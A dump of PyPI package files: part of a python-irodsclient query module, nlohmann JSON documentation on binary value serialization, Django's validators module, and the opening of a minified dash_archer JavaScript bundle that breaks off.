GenQueryRequest, GenQueryResponse, empty_gen_query_out,
iRODSMessage, SpecificQueryRequest, GeneralAdminRequest)
from irods.api_number import api_number
from irods.exception import CAT_NO_ROWS_FOUND, MultipleResultsFound, NoResultFound
from irods.results import ResultSet, SpecificQueryResultSet
import six
query_number = {'ORDER_BY': 0x400,
'ORDER_BY_DESC': 0x800,
'RETURN_TOTAL_ROW_COUNT': 0x20,
'NO_DISTINCT': 0x40,
'QUOTA_QUERY': 0x80,
'AUTO_CLOSE': 0x100,
'UPPER_CASE_WHERE': 0x200,
'SELECT_MIN': 2,
'SELECT_MAX': 3,
'SELECT_SUM': 4,
'SELECT_AVG': 5,
'SELECT_COUNT': 6}
class Query(object):
def __init__(self, sess, *args, **kwargs):
self.sess = sess
self.columns = OrderedDict()
self.criteria = []
self._limit = -1
self._offset = 0
self._continue_index = 0
self._keywords = {}
for arg in args:
if isinstance(arg, type) and issubclass(arg, Model):
for col in arg._columns:
if self.sess.server_version >= col.min_version:
self.columns[col] = 1
elif isinstance(arg, Column):
self.columns[arg] = 1
else:
raise TypeError("Arguments must be models or columns")
def _clone(self):
new_q = Query(self.sess)
new_q.columns = self.columns
new_q.criteria = self.criteria
new_q._limit = self._limit
new_q._offset = self._offset
new_q._continue_index = self._continue_index
new_q._keywords = self._keywords
return new_q
def add_keyword(self, keyword, value = ''):
new_q = self._clone()
new_q._keywords[keyword] = value
return new_q
def filter(self, *criteria):
new_q = self._clone()
new_q.criteria += list(criteria)
return new_q
def order_by(self, column, order='asc'):
new_q = self._clone()
new_q.columns.pop(column,None)
if order == 'asc':
new_q.columns[column] = query_number['ORDER_BY']
elif order == 'desc':
new_q.columns[column] = query_number['ORDER_BY_DESC']
else:
raise ValueError("Ordering must be 'asc' or 'desc'")
return new_q
def limit(self, limit):
new_q = self._clone()
new_q._limit = limit
return new_q
def offset(self, offset):
new_q = self._clone()
new_q._offset = offset
return new_q
def continue_index(self, continue_index):
new_q = self._clone()
new_q._continue_index = continue_index
return new_q
def _aggregate(self, func, *args):
new_q = self._clone()
# NOTE(wtakase): Override existing column by aggregation.
for arg in args:
if isinstance(arg, type) and issubclass(arg, Model):
for col in arg._columns:
self.columns[col] = func
elif isinstance(arg, Column):
self.columns[arg] = func
else:
raise TypeError("Arguments must be models or columns")
new_q.columns = self.columns
return new_q
def min(self, *args):
return self._aggregate(query_number['SELECT_MIN'], *args)
def max(self, *args):
return self._aggregate(query_number['SELECT_MAX'], *args)
def sum(self, *args):
return self._aggregate(query_number['SELECT_SUM'], *args)
def avg(self, *args):
return self._aggregate(query_number['SELECT_AVG'], *args)
def count(self, *args):
return self._aggregate(query_number['SELECT_COUNT'], *args)
def _select_message(self):
dct = OrderedDict([(column.icat_id, value)
for (column, value) in six.iteritems(self.columns)])
return IntegerIntegerMap(dct)
# todo store criterion for columns and criterion for keywords in seaparate
# lists
def _conds_message(self):
dct = _OrderedMultiMapping([
(criterion.query_key.icat_id, criterion.op + ' ' + criterion.value)
for criterion in self.criteria
if isinstance(criterion.query_key, Column)
])
return IntegerStringMap(dct)
def _kw_message(self):
dct = dict([
(criterion.query_key.icat_key,
criterion.op + ' ' + criterion.value)
for criterion in self.criteria
if isinstance(criterion.query_key, Keyword)
])
for key in self._keywords:
dct[ key ] = self._keywords[key]
return StringStringMap(dct)
def _message(self):
max_rows = 500 if self._limit == -1 else self._limit
args = {
'maxRows': max_rows,
'continueInx': self._continue_index,
'partialStartIndex': self._offset,
'options': 0,
'KeyValPair_PI': self._kw_message(),
'InxIvalPair_PI': self._select_message(),
'InxValPair_PI': self._conds_message()
}
return GenQueryRequest(**args)
def execute(self):
with self.sess.pool.get_connection() as conn:
message_body = self._message()
message = iRODSMessage(
'RODS_API_REQ', msg=message_body, int_info=api_number['GEN_QUERY_AN'])
conn.send(message)
try:
result_message = conn.recv()
results = result_message.get_main_message(GenQueryResponse)
result_set = ResultSet(results)
except CAT_NO_ROWS_FOUND:
result_set = ResultSet(
empty_gen_query_out(list(self.columns.keys())))
return result_set
def close(self):
'''Closes an open query on the server side.
self._continue_index must be set to a valid value (returned by a previous query API call).
'''
self.limit(0).execute()
def all(self):
result_set = self.execute()
if result_set.continue_index > 0:
self.continue_index(result_set.continue_index).close()
return result_set
def get_batches(self):
result_set = self.execute()
try:
yield result_set
while result_set.continue_index > 0:
try:
result_set = self.continue_index(
result_set.continue_index).execute()
yield result_set
except CAT_NO_ROWS_FOUND:
break
except GeneratorExit:
if result_set.continue_index > 0:
self.continue_index(result_set.continue_index).close()
def get_results(self):
for result_set in self.get_batches():
for result in result_set:
yield result
def __iter__(self):
return self.get_results()
def one(self):
results = self.execute()
if results.continue_index > 0:
self.continue_index(results.continue_index).close()
if not len(results):
raise NoResultFound()
if len(results) > 1:
raise MultipleResultsFound()
return results[0]
def first(self):
query = self.limit(1)
results = query.execute()
if results.continue_index > 0:
query.continue_index(results.continue_index).close()
if not len(results):
return None
else:
return results[0]
# def __getitem__(self, val):
# pass
class SpecificQuery(object):
def __init__(self, sess, sql=None, alias=None, columns=None, args=None):
if not sql and not alias:
raise ValueError('A query or alias must be provided')
self.session = sess
self._sql = sql
self._alias = alias
self._continue_index = 0
self._columns = columns
self._args = args or []
def register(self):
if not self._sql:
raise ValueError('Empty query')
message_body = GeneralAdminRequest(
"add",
"specificQuery",
self._sql,
self._alias
)
request = iRODSMessage("RODS_API_REQ", msg=message_body,
int_info=api_number['GENERAL_ADMIN_AN'])
with self.session.pool.get_connection() as conn:
conn.send(request)
response = conn.recv()
return response
def remove(self):
target = self._alias or self._sql
message_body = GeneralAdminRequest(
"rm",
"specificQuery",
target
)
request = iRODSMessage("RODS_API_REQ", msg=message_body,
int_info=api_number['GENERAL_ADMIN_AN'])
with self.session.pool.get_connection() as conn:
conn.send(request)
response = conn.recv()
return response
def execute(self, limit=MAX_SQL_ROWS, offset=0, options=0, conditions=None):
target = self._alias or self._sql
if conditions is None:
conditions = StringStringMap({})
sql_args = {}
for i, arg in enumerate(self._args[:10], start=1):
sql_args['arg{}'.format(i)] = arg
message_body = SpecificQueryRequest(sql=target,
maxRows=limit,
continueInx=self._continue_index,
rowOffset=offset,
options=0,
KeyValPair_PI=conditions,
**sql_args)
request = iRODSMessage("RODS_API_REQ", msg=message_body, int_info=api_number['SPECIFIC_QUERY_AN'])
with self.session.pool.get_connection() as conn:
conn.send(request)
response = conn.recv()
results = response.get_main_message(GenQueryResponse)
return SpecificQueryResultSet(results, self._columns)
def __iter__(self):
return self.get_results()
def get_batches(self):
result_set = self.execute()
yield result_set
while result_set.continue_index > 0:
self._continue_index = result_set.continue_index
try:
result_set = self.execute()
yield result_set
except CAT_NO_ROWS_FOUND:
break
def get_results(self):
for result_set in self.get_batches():
for result in result_set:
yield result
|
PypiClean
|
/merlin-sok-1.2.0.tar.gz/merlin-sok-1.2.0/third_party/json/doc/mkdocs/docs/features/binary_values.md
|
# Binary Values
The library implements several [binary formats](binary_formats/index.md) that encode JSON in an efficient way. Most of these formats support binary values; that is, values that have semantics define outside the library and only define a sequence of bytes to be stored.
JSON itself does not have a binary value. As such, binary values are an extension that this library implements to store values received by a binary format. Binary values are never created by the JSON parser, and are only part of a serialized JSON text if they have been created manually or via a binary format.
## API for binary values
```plantuml
class json::binary_t {
-- setters --
+void set_subtype(std::uint8_t subtype)
+void clear_subtype()
-- getters --
+std::uint8_t subtype() const
+bool has_subtype() const
}
"std::vector<uint8_t>" <|-- json::binary_t
```
By default, binary values are stored as `std::vector<std::uint8_t>`. This type can be changed by providing a template parameter to the `basic_json` type. To store binary subtypes, the storage type is extended and exposed as `json::binary_t`:
```cpp
auto binary = json::binary_t({0xCA, 0xFE, 0xBA, 0xBE});
auto binary_with_subtype = json::binary_t({0xCA, 0xFE, 0xBA, 0xBE}, 42);
```
There are several convenience functions to check and set the subtype:
```cpp
binary.has_subtype(); // returns false
binary_with_subtype.has_subtype(); // returns true
binary_with_subtype.clear_subtype();
binary_with_subtype.has_subtype(); // returns true
binary_with_subtype.set_subtype(42);
binary.set_subtype(23);
binary.subtype(); // returns 23
```
As `json::binary_t` is subclassing `std::vector<std::uint8_t>`, all member functions are available:
```cpp
binary.size(); // returns 4
binary[1]; // returns 0xFE
```
JSON values can be constructed from `json::binary_t`:
```cpp
json j = binary;
```
Binary values are primitive values just like numbers or strings:
```cpp
j.is_binary(); // returns true
j.is_primitive(); // returns true
```
Given a binary JSON value, the `binary_t` can be accessed by reference as via `get_binary()`:
```cpp
j.get_binary().has_subtype(); // returns true
j.get_binary().size(); // returns 4
```
For convencience, binary JSON values can be constructed via `json::binary`:
```cpp
auto j2 = json::binary({0xCA, 0xFE, 0xBA, 0xBE}, 23);
auto j3 = json::binary({0xCA, 0xFE, 0xBA, 0xBE});
j2 == j; // returns true
j3.get_binary().has_subtype(); // returns false
```
## Serialization
Binary values are serialized differently according to the formats.
### JSON
JSON does not have a binary type, and this library does not introduce a new type as this would break conformance. Instead, binary values are serialized as an object with two keys: `bytes` holds an array of integers, and `subtype` is an integer or `null`.
??? example
Code:
```cpp
// create a binary value of subtype 42
json j;
j["binary"] = json::binary({0xCA, 0xFE, 0xBA, 0xBE}, 42);
// serialize to standard output
std::cout << j.dump(2) << std::endl;
```
Output:
```json
{
"binary": {
"bytes": [202, 254, 186, 190],
"subtype": 42
}
}
```
!!! warning "No roundtrip for binary values"
The JSON parser will not parse the objects generated by binary values back to binary values. This is by design to remain standards compliant. Serializing binary values to JSON is only implemented for debugging purposes.
### BSON
[BSON](binary_formats/bson.md) supports binary values and subtypes. If a subtype is given, it is used and added as unsigned 8-bit integer. If no subtype is given, the generic binary subtype 0x00 is used.
??? example
Code:
```cpp
// create a binary value of subtype 42
json j;
j["binary"] = json::binary({0xCA, 0xFE, 0xBA, 0xBE}, 42);
// convert to BSON
auto v = json::to_bson(j);
```
`v` is a `std::vector<std::uint8t>` with the following 22 elements:
```c
0x16 0x00 0x00 0x00 // number of bytes in the document
0x05 // binary value
0x62 0x69 0x6E 0x61 0x72 0x79 0x00 // key "binary" + null byte
0x04 0x00 0x00 0x00 // number of bytes
0x2a // subtype
0xCA 0xFE 0xBA 0xBE // content
0x00 // end of the document
```
Note that the serialization preserves the subtype, and deserializing `v` would yield the following value:
```json
{
"binary": {
"bytes": [202, 254, 186, 190],
"subtype": 42
}
}
```
### CBOR
[CBOR](binary_formats/cbor.md) supports binary values, but no subtypes. Subtypes will be serialized as tags. Any binary value will be serialized as byte strings. The library will choose the smallest representation using the length of the byte array.
??? example
Code:
```cpp
// create a binary value of subtype 42
json j;
j["binary"] = json::binary({0xCA, 0xFE, 0xBA, 0xBE}, 42);
// convert to CBOR
auto v = json::to_cbor(j);
```
`v` is a `std::vector<std::uint8t>` with the following 15 elements:
```c
0xA1 // map(1)
0x66 // text(6)
0x62 0x69 0x6E 0x61 0x72 0x79 // "binary"
0xD8 0x2A // tag(42)
0x44 // bytes(4)
0xCA 0xFE 0xBA 0xBE // content
```
Note that the subtype is serialized as tag. However, parsing tagged values yield a parse error unless `json::cbor_tag_handler_t::ignore` is passed to `json::from_cbor`.
```json
{
"binary": {
"bytes": [202, 254, 186, 190],
"subtype": null
}
}
```
### MessagePack
[MessagePack](binary_formats/messagepack.md) supports binary values and subtypes. If a subtype is given, the ext family is used. The library will choose the smallest representation among fixext1, fixext2, fixext4, fixext8, ext8, ext16, and ext32. The subtype is then added as singed 8-bit integer.
If no subtype is given, the bin family (bin8, bin16, bin32) is used.
??? example
Code:
```cpp
// create a binary value of subtype 42
json j;
j["binary"] = json::binary({0xCA, 0xFE, 0xBA, 0xBE}, 42);
// convert to MessagePack
auto v = json::to_msgpack(j);
```
`v` is a `std::vector<std::uint8t>` with the following 14 elements:
```c
0x81 // fixmap1
0xA6 // fixstr6
0x62 0x69 0x6E 0x61 0x72 0x79 // "binary"
0xD6 // fixext4
0x2A // subtype
0xCA 0xFE 0xBA 0xBE // content
```
Note that the serialization preserves the subtype, and deserializing `v` would yield the following value:
```json
{
"binary": {
"bytes": [202, 254, 186, 190],
"subtype": 42
}
}
```
### UBJSON
[UBJSON](binary_formats/ubjson.md) neither supports binary values nor subtypes, and proposes to serialize binary values as array of uint8 values. This translation is implemented by the library.
??? example
Code:
```cpp
// create a binary value of subtype 42 (will be ignored in UBJSON)
json j;
j["binary"] = json::binary({0xCA, 0xFE, 0xBA, 0xBE}, 42);
// convert to UBJSON
auto v = json::to_msgpack(j);
```
`v` is a `std::vector<std::uint8t>` with the following 20 elements:
```c
0x7B // '{'
0x69 0x06 // i 6 (length of the key)
0x62 0x69 0x6E 0x61 0x72 0x79 // "binary"
0x5B // '['
0x55 0xCA 0x55 0xFE 0x55 0xBA 0x55 0xBE // content (each byte prefixed with 'U')
0x5D // ']'
0x7D // '}'
```
The following code uses the type and size optimization for UBJSON:
```cpp
// convert to UBJSON using the size and type optimization
auto v = json::to_ubjson(j, true, true);
```
The resulting vector has 23 elements; the optimization is not effective for examples with few values:
```c
0x7B // '{'
0x24 // '$' type of the object elements
0x5B // '[' array
0x23 0x69 0x01 // '#' i 1 number of object elements
0x69 0x06 // i 6 (length of the key)
0x62 0x69 0x6E 0x61 0x72 0x79 // "binary"
0x24 0x55 // '$' 'U' type of the array elements: unsinged integers
0x23 0x69 0x04 // '#' i 4 number of array elements
0xCA 0xFE 0xBA 0xBE // content
```
Note that subtype (42) is **not** serialized and that UBJSON has **no binary type**, and deserializing `v` would yield the following value:
```json
{
"binary": [202, 254, 186, 190]
}
```
|
PypiClean
|
/django-je-0.0.1.tar.gz/django-je-0.0.1/django/core/validators.py
|
import ipaddress
import re
import warnings
from pathlib import Path
from urllib.parse import urlsplit, urlunsplit
from django.core.exceptions import ValidationError
from django.utils.deconstruct import deconstructible
from django.utils.deprecation import RemovedInDjango41Warning
from django.utils.encoding import punycode
from django.utils.ipv6 import is_valid_ipv6_address
from django.utils.regex_helper import _lazy_re_compile
from django.utils.translation import gettext_lazy as _
from django.utils.translation import ngettext_lazy
# These values, if given to validate(), will trigger the self.required check.
EMPTY_VALUES = (None, "", [], (), {})
@deconstructible
class RegexValidator:
regex = ""
message = _("Enter a valid value.")
code = "invalid"
inverse_match = False
flags = 0
def __init__(
self, regex=None, message=None, code=None, inverse_match=None, flags=None
):
if regex is not None:
self.regex = regex
if message is not None:
self.message = message
if code is not None:
self.code = code
if inverse_match is not None:
self.inverse_match = inverse_match
if flags is not None:
self.flags = flags
if self.flags and not isinstance(self.regex, str):
raise TypeError(
"If the flags are set, regex must be a regular expression string."
)
self.regex = _lazy_re_compile(self.regex, self.flags)
def __call__(self, value):
"""
Validate that the input contains (or does *not* contain, if
inverse_match is True) a match for the regular expression.
"""
regex_matches = self.regex.search(str(value))
invalid_input = regex_matches if self.inverse_match else not regex_matches
if invalid_input:
raise ValidationError(self.message, code=self.code, params={"value": value})
def __eq__(self, other):
return (
isinstance(other, RegexValidator)
and self.regex.pattern == other.regex.pattern
and self.regex.flags == other.regex.flags
and (self.message == other.message)
and (self.code == other.code)
and (self.inverse_match == other.inverse_match)
)
@deconstructible
class URLValidator(RegexValidator):
ul = "\u00a1-\uffff" # Unicode letters range (must not be a raw string).
# IP patterns
ipv4_re = (
r"(?:0|25[0-5]|2[0-4]\d|1\d?\d?|[1-9]\d?)"
r"(?:\.(?:0|25[0-5]|2[0-4]\d|1\d?\d?|[1-9]\d?)){3}"
)
ipv6_re = r"\[[0-9a-f:.]+\]" # (simple regex, validated later)
# Host patterns
hostname_re = (
r"[a-z" + ul + r"0-9](?:[a-z" + ul + r"0-9-]{0,61}[a-z" + ul + r"0-9])?"
)
# Max length for domain name labels is 63 characters per RFC 1034 sec. 3.1
domain_re = r"(?:\.(?!-)[a-z" + ul + r"0-9-]{1,63}(?<!-))*"
tld_re = (
r"\." # dot
r"(?!-)" # can't start with a dash
r"(?:[a-z" + ul + "-]{2,63}" # domain label
r"|xn--[a-z0-9]{1,59})" # or punycode label
r"(?<!-)" # can't end with a dash
r"\.?" # may have a trailing dot
)
host_re = "(" + hostname_re + domain_re + tld_re + "|localhost)"
regex = _lazy_re_compile(
r"^(?:[a-z0-9.+-]*)://" # scheme is validated separately
r"(?:[^\s:@/]+(?::[^\s:@/]*)?@)?" # user:pass authentication
r"(?:" + ipv4_re + "|" + ipv6_re + "|" + host_re + ")"
r"(?::\d{1,5})?" # port
r"(?:[/?#][^\s]*)?" # resource path
r"\Z",
re.IGNORECASE,
)
message = _("Enter a valid URL.")
schemes = ["http", "https", "ftp", "ftps"]
unsafe_chars = frozenset("\t\r\n")
def __init__(self, schemes=None, **kwargs):
super().__init__(**kwargs)
if schemes is not None:
self.schemes = schemes
def __call__(self, value):
if not isinstance(value, str):
raise ValidationError(self.message, code=self.code, params={"value": value})
if self.unsafe_chars.intersection(value):
raise ValidationError(self.message, code=self.code, params={"value": value})
# Check if the scheme is valid.
scheme = value.split("://")[0].lower()
if scheme not in self.schemes:
raise ValidationError(self.message, code=self.code, params={"value": value})
# Then check full URL
try:
super().__call__(value)
except ValidationError as e:
# Trivial case failed. Try for possible IDN domain
if value:
try:
scheme, netloc, path, query, fragment = urlsplit(value)
except ValueError: # for example, "Invalid IPv6 URL"
raise ValidationError(
self.message, code=self.code, params={"value": value}
)
try:
netloc = punycode(netloc) # IDN -> ACE
except UnicodeError: # invalid domain part
raise e
url = urlunsplit((scheme, netloc, path, query, fragment))
super().__call__(url)
else:
raise
else:
# Now verify IPv6 in the netloc part
host_match = re.search(r"^\[(.+)\](?::\d{1,5})?$", urlsplit(value).netloc)
if host_match:
potential_ip = host_match[1]
try:
validate_ipv6_address(potential_ip)
except ValidationError:
raise ValidationError(
self.message, code=self.code, params={"value": value}
)
# The maximum length of a full host name is 253 characters per RFC 1034
# section 3.1. It's defined to be 255 bytes or less, but this includes
# one byte for the length of the name and one byte for the trailing dot
# that's used to indicate absolute names in DNS.
if len(urlsplit(value).hostname) > 253:
raise ValidationError(self.message, code=self.code, params={"value": value})
integer_validator = RegexValidator(
_lazy_re_compile(r"^-?\d+\Z"),
message=_("Enter a valid integer."),
code="invalid",
)
def validate_integer(value):
return integer_validator(value)
@deconstructible
class EmailValidator:
message = _("Enter a valid email address.")
code = "invalid"
user_regex = _lazy_re_compile(
# dot-atom
r"(^[-!#$%&'*+/=?^_`{}|~0-9A-Z]+(\.[-!#$%&'*+/=?^_`{}|~0-9A-Z]+)*\Z"
# quoted-string
r'|^"([\001-\010\013\014\016-\037!#-\[\]-\177]|\\[\001-\011\013\014\016-\177])'
r'*"\Z)',
re.IGNORECASE,
)
domain_regex = _lazy_re_compile(
# max length for domain name labels is 63 characters per RFC 1034
r"((?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+)(?:[A-Z0-9-]{2,63}(?<!-))\Z",
re.IGNORECASE,
)
literal_regex = _lazy_re_compile(
# literal form, ipv4 or ipv6 address (SMTP 4.1.3)
r"\[([A-F0-9:.]+)\]\Z",
re.IGNORECASE,
)
domain_allowlist = ["localhost"]
@property
def domain_whitelist(self):
warnings.warn(
"The domain_whitelist attribute is deprecated in favor of "
"domain_allowlist.",
RemovedInDjango41Warning,
stacklevel=2,
)
return self.domain_allowlist
@domain_whitelist.setter
def domain_whitelist(self, allowlist):
warnings.warn(
"The domain_whitelist attribute is deprecated in favor of "
"domain_allowlist.",
RemovedInDjango41Warning,
stacklevel=2,
)
self.domain_allowlist = allowlist
def __init__(self, message=None, code=None, allowlist=None, *, whitelist=None):
if whitelist is not None:
allowlist = whitelist
warnings.warn(
"The whitelist argument is deprecated in favor of allowlist.",
RemovedInDjango41Warning,
stacklevel=2,
)
if message is not None:
self.message = message
if code is not None:
self.code = code
if allowlist is not None:
self.domain_allowlist = allowlist
def __call__(self, value):
if not value or "@" not in value:
raise ValidationError(self.message, code=self.code, params={"value": value})
user_part, domain_part = value.rsplit("@", 1)
if not self.user_regex.match(user_part):
raise ValidationError(self.message, code=self.code, params={"value": value})
if domain_part not in self.domain_allowlist and not self.validate_domain_part(
domain_part
):
# Try for possible IDN domain-part
try:
domain_part = punycode(domain_part)
except UnicodeError:
pass
else:
if self.validate_domain_part(domain_part):
return
raise ValidationError(self.message, code=self.code, params={"value": value})
def validate_domain_part(self, domain_part):
if self.domain_regex.match(domain_part):
return True
literal_match = self.literal_regex.match(domain_part)
if literal_match:
ip_address = literal_match[1]
try:
validate_ipv46_address(ip_address)
return True
except ValidationError:
pass
return False
def __eq__(self, other):
return (
isinstance(other, EmailValidator)
and (self.domain_allowlist == other.domain_allowlist)
and (self.message == other.message)
and (self.code == other.code)
)
validate_email = EmailValidator()
slug_re = _lazy_re_compile(r"^[-a-zA-Z0-9_]+\Z")
validate_slug = RegexValidator(
slug_re,
# Translators: "letters" means latin letters: a-z and A-Z.
_("Enter a valid “slug” consisting of letters, numbers, underscores or hyphens."),
"invalid",
)
slug_unicode_re = _lazy_re_compile(r"^[-\w]+\Z")
validate_unicode_slug = RegexValidator(
slug_unicode_re,
_(
"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or "
"hyphens."
),
"invalid",
)
def validate_ipv4_address(value):
try:
ipaddress.IPv4Address(value)
except ValueError:
raise ValidationError(
_("Enter a valid IPv4 address."), code="invalid", params={"value": value}
)
else:
# Leading zeros are forbidden to avoid ambiguity with the octal
# notation. This restriction is included in Python 3.9.5+.
# TODO: Remove when dropping support for PY39.
if any(octet != "0" and octet[0] == "0" for octet in value.split(".")):
raise ValidationError(
_("Enter a valid IPv4 address."),
code="invalid",
params={"value": value},
)
def validate_ipv6_address(value):
if not is_valid_ipv6_address(value):
raise ValidationError(
_("Enter a valid IPv6 address."), code="invalid", params={"value": value}
)
def validate_ipv46_address(value):
try:
validate_ipv4_address(value)
except ValidationError:
try:
validate_ipv6_address(value)
except ValidationError:
raise ValidationError(
_("Enter a valid IPv4 or IPv6 address."),
code="invalid",
params={"value": value},
)
ip_address_validator_map = {
"both": ([validate_ipv46_address], _("Enter a valid IPv4 or IPv6 address.")),
"ipv4": ([validate_ipv4_address], _("Enter a valid IPv4 address.")),
"ipv6": ([validate_ipv6_address], _("Enter a valid IPv6 address.")),
}
def ip_address_validators(protocol, unpack_ipv4):
"""
Depending on the given parameters, return the appropriate validators for
the GenericIPAddressField.
"""
if protocol != "both" and unpack_ipv4:
raise ValueError(
"You can only use `unpack_ipv4` if `protocol` is set to 'both'"
)
try:
return ip_address_validator_map[protocol.lower()]
except KeyError:
raise ValueError(
"The protocol '%s' is unknown. Supported: %s"
% (protocol, list(ip_address_validator_map))
)
def int_list_validator(sep=",", message=None, code="invalid", allow_negative=False):
regexp = _lazy_re_compile(
r"^%(neg)s\d+(?:%(sep)s%(neg)s\d+)*\Z"
% {
"neg": "(-)?" if allow_negative else "",
"sep": re.escape(sep),
}
)
return RegexValidator(regexp, message=message, code=code)
validate_comma_separated_integer_list = int_list_validator(
message=_("Enter only digits separated by commas."),
)
@deconstructible
class BaseValidator:
message = _("Ensure this value is %(limit_value)s (it is %(show_value)s).")
code = "limit_value"
def __init__(self, limit_value, message=None):
self.limit_value = limit_value
if message:
self.message = message
def __call__(self, value):
cleaned = self.clean(value)
limit_value = (
self.limit_value() if callable(self.limit_value) else self.limit_value
)
params = {"limit_value": limit_value, "show_value": cleaned, "value": value}
if self.compare(cleaned, limit_value):
raise ValidationError(self.message, code=self.code, params=params)
def __eq__(self, other):
if not isinstance(other, self.__class__):
return NotImplemented
return (
self.limit_value == other.limit_value
and self.message == other.message
and self.code == other.code
)
def compare(self, a, b):
return a is not b
def clean(self, x):
return x
@deconstructible
class MaxValueValidator(BaseValidator):
message = _("Ensure this value is less than or equal to %(limit_value)s.")
code = "max_value"
def compare(self, a, b):
return a > b
@deconstructible
class MinValueValidator(BaseValidator):
message = _("Ensure this value is greater than or equal to %(limit_value)s.")
code = "min_value"
def compare(self, a, b):
return a < b
@deconstructible
class MinLengthValidator(BaseValidator):
message = ngettext_lazy(
"Ensure this value has at least %(limit_value)d character (it has "
"%(show_value)d).",
"Ensure this value has at least %(limit_value)d characters (it has "
"%(show_value)d).",
"limit_value",
)
code = "min_length"
def compare(self, a, b):
return a < b
def clean(self, x):
return len(x)
@deconstructible
class MaxLengthValidator(BaseValidator):
message = ngettext_lazy(
"Ensure this value has at most %(limit_value)d character (it has "
"%(show_value)d).",
"Ensure this value has at most %(limit_value)d characters (it has "
"%(show_value)d).",
"limit_value",
)
code = "max_length"
def compare(self, a, b):
return a > b
def clean(self, x):
return len(x)
@deconstructible
class DecimalValidator:
"""
Validate that the input does not exceed the maximum number of digits
expected, otherwise raise ValidationError.
"""
messages = {
"invalid": _("Enter a number."),
"max_digits": ngettext_lazy(
"Ensure that there are no more than %(max)s digit in total.",
"Ensure that there are no more than %(max)s digits in total.",
"max",
),
"max_decimal_places": ngettext_lazy(
"Ensure that there are no more than %(max)s decimal place.",
"Ensure that there are no more than %(max)s decimal places.",
"max",
),
"max_whole_digits": ngettext_lazy(
"Ensure that there are no more than %(max)s digit before the decimal "
"point.",
"Ensure that there are no more than %(max)s digits before the decimal "
"point.",
"max",
),
}
def __init__(self, max_digits, decimal_places):
self.max_digits = max_digits
self.decimal_places = decimal_places
def __call__(self, value):
digit_tuple, exponent = value.as_tuple()[1:]
if exponent in {"F", "n", "N"}:
raise ValidationError(
self.messages["invalid"], code="invalid", params={"value": value}
)
if exponent >= 0:
# A positive exponent adds that many trailing zeros.
digits = len(digit_tuple) + exponent
decimals = 0
else:
# If the absolute value of the negative exponent is larger than the
# number of digits, then it's the same as the number of digits,
# because it'll consume all of the digits in digit_tuple and then
# add abs(exponent) - len(digit_tuple) leading zeros after the
# decimal point.
if abs(exponent) > len(digit_tuple):
digits = decimals = abs(exponent)
else:
digits = len(digit_tuple)
decimals = abs(exponent)
whole_digits = digits - decimals
if self.max_digits is not None and digits > self.max_digits:
raise ValidationError(
self.messages["max_digits"],
code="max_digits",
params={"max": self.max_digits, "value": value},
)
if self.decimal_places is not None and decimals > self.decimal_places:
raise ValidationError(
self.messages["max_decimal_places"],
code="max_decimal_places",
params={"max": self.decimal_places, "value": value},
)
if (
self.max_digits is not None
and self.decimal_places is not None
and whole_digits > (self.max_digits - self.decimal_places)
):
raise ValidationError(
self.messages["max_whole_digits"],
code="max_whole_digits",
params={"max": (self.max_digits - self.decimal_places), "value": value},
)
def __eq__(self, other):
return (
isinstance(other, self.__class__)
and self.max_digits == other.max_digits
and self.decimal_places == other.decimal_places
)
@deconstructible
class FileExtensionValidator:
message = _(
"File extension “%(extension)s” is not allowed. "
"Allowed extensions are: %(allowed_extensions)s."
)
code = "invalid_extension"
def __init__(self, allowed_extensions=None, message=None, code=None):
if allowed_extensions is not None:
allowed_extensions = [
allowed_extension.lower() for allowed_extension in allowed_extensions
]
self.allowed_extensions = allowed_extensions
if message is not None:
self.message = message
if code is not None:
self.code = code
def __call__(self, value):
extension = Path(value.name).suffix[1:].lower()
if (
self.allowed_extensions is not None
and extension not in self.allowed_extensions
):
raise ValidationError(
self.message,
code=self.code,
params={
"extension": extension,
"allowed_extensions": ", ".join(self.allowed_extensions),
"value": value,
},
)
def __eq__(self, other):
return (
isinstance(other, self.__class__)
and self.allowed_extensions == other.allowed_extensions
and self.message == other.message
and self.code == other.code
)
def get_available_image_extensions():
try:
from PIL import Image
except ImportError:
return []
else:
Image.init()
return [ext.lower()[1:] for ext in Image.EXTENSION]
def validate_image_file_extension(value):
return FileExtensionValidator(allowed_extensions=get_available_image_extensions())(
value
)
@deconstructible
class ProhibitNullCharactersValidator:
"""Validate that the string doesn't contain the null character."""
message = _("Null characters are not allowed.")
code = "null_characters_not_allowed"
def __init__(self, message=None, code=None):
if message is not None:
self.message = message
if code is not None:
self.code = code
def __call__(self, value):
if "\x00" in str(value):
raise ValidationError(self.message, code=self.code, params={"value": value})
def __eq__(self, other):
return (
isinstance(other, self.__class__)
and self.message == other.message
and self.code == other.code
)
|
PypiClean
|
/dash_archer-0.1.0.tar.gz/dash_archer-0.1.0/dash_archer/dash_archer.min.js
|
window.dash_archer=function(e){var t={};function r(n){if(t[n])return t[n].exports;var o=t[n]={i:n,l:!1,exports:{}};return e[n].call(o.exports,o,o.exports,r),o.l=!0,o.exports}return r.m=e,r.c=t,r.d=function(e,t,n){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:n})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)r.d(n,o,function(t){return e[t]}.bind(null,o));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=3)}([function(e,t){e.exports=window.PropTypes},function(e,t){e.exports=window.React},function(e,t,r){
/*! For license information please see react-archer.js.LICENSE */
